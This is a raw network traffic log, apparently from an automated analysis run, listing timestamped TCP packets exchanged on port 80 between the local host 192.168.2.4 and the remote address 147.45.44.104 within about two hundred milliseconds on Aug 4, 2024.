Aug 4, 2024 02:21:37.670166969 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.670177937 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.670222998 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.697530985 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.697597980 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.697613955 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.697649002 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.697662115 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.697693110 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.697695971 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.697740078 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.697743893 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.697784901 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.697789907 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.697829962 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.697839022 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.697879076 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.747719049 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.747772932 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.747773886 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.747806072 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.747812033 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.747831106 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.747843981 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.747852087 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.747869015 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.747879982 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.747888088 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.747905016 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.747916937 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.747940063 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.751245022 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.751286030 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.751290083 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.751315117 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.751327991 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.751351118 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.751399994 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.751424074 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.751439095 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.751461029 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.751529932 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.751549959 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.751568079 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.751581907 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.751657963 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.751681089 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.751693964 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.751703978 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.751713991 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.751725912 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.751735926 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.751749039 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.751760006 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.751782894 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.751925945 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.751945972 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.751966953 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.751972914 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.751987934 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.751996994 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.752007008 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.752021074 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.752031088 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.752039909 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.752055883 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.752067089 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.752073050 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.752101898 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.752295971 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.752315998 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.752336025 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.752341986 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.752346992 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.752368927 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.752381086 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.752392054 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.752399921 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.752415895 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.752424955 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.752439976 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.752449036 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.752463102 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.752471924 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.752495050 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.752502918 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.752530098 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.752640009 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.752680063 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.752768040 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.752789974 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.752805948 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.752813101 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.752821922 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.752839088 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.752846956 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.752863884 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.752872944 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.752882957 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.752898932 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.752914906 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.752918959 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.752940893 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.752949953 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.752964973 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.752970934 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.752985954 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.753000021 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.753006935 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.753021002 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.753029108 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.753041029 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.753052950 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.753062010 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.753072023 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.753087044 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.753101110 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.753103971 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.753123999 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.753134966 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.753145933 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.753158092 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.753170013 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.753181934 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.753201962 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.754328012 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.754343987 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.754369974 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.754373074 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.754379988 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.754396915 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.754406929 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.754415989 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.754431009 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.754443884 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.754447937 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.754462957 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.754477978 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.754497051 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.754498959 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.754520893 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.754532099 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.754543066 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.754554033 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.754566908 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.754575014 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.754599094 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.754600048 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.754620075 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.754633904 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.754646063 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.754653931 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.754664898 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.754681110 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.754689932 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.754698038 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.754714966 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.754724026 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.754734039 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.754748106 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.754760981 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.754767895 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.754781008 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.754797935 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.754810095 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.754817963 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.754832983 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.754843950 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.754854918 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.754864931 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.754875898 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.754888058 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.754899025 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.754909039 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.754920959 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.754933119 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.754946947 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.754957914 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.754966974 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.754981995 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.754995108 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.755000114 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.755029917 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.755243063 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.755263090 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.755280018 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.755290031 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.755297899 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.755314112 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.755322933 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.755340099 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.755352020 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.755359888 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.755373955 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.755387068 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.755393028 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.755409956 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.755420923 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.755446911 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.755476952 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.755491972 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.755515099 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.755522966 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.755531073 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.755547047 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.755558014 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.755567074 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.755579948 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.755594015 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.755600929 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.755616903 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.755633116 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.755636930 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.755647898 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.755664110 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.755671978 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.755690098 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.755698919 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.755711079 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.755727053 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.755737066 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.755745888 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.755759954 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.755769968 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.755783081 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.755794048 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.755819082 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.785708904 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.785773993 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.785825968 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.785844088 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.785885096 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.785895109 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.785934925 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.785943031 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.785981894 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.785991907 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.786030054 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.786040068 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.786078930 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.786089897 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.786128998 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.836922884 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.836994886 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.837002039 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.837039948 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.837048054 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.837096930 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.837143898 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.837146997 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.837193012 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.837193966 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.837241888 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.837246895 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.837294102 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.839977980 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.840046883 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.840090990 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.840100050 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.840141058 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.840158939 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.840205908 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.840213060 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.840251923 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.840271950 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.840317965 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.840318918 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.840364933 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.840384960 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.840432882 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.840434074 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.840478897 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.840507030 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.840553999 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.840562105 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.840601921 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.840639114 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.840687990 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.840689898 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.840723038 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.840734959 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.840783119 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.840789080 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.840833902 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.840853930 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.840899944 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.840900898 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.840944052 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.840949059 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.840993881 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.840996981 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.841039896 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.841061115 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.841105938 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.841109037 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.841156006 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.841161013 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.841190100 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.841197968 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.841211081 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.841239929 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.841248035 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.841263056 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.841288090 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.841356039 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.841376066 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.841401100 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.841403008 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.841418982 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.841428995 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.841444016 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.841453075 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.841470957 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.841475010 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.841495037 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.841500998 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.841511011 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.841525078 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.841542006 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.841547966 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.841568947 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.841572046 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.841592073 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.841593027 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.841609001 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.841629982 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.842000961 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.842020988 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.842045069 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.842048883 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.842060089 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.842063904 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.842084885 CEST	49757	80	192.168.2.4	147.45.44.104
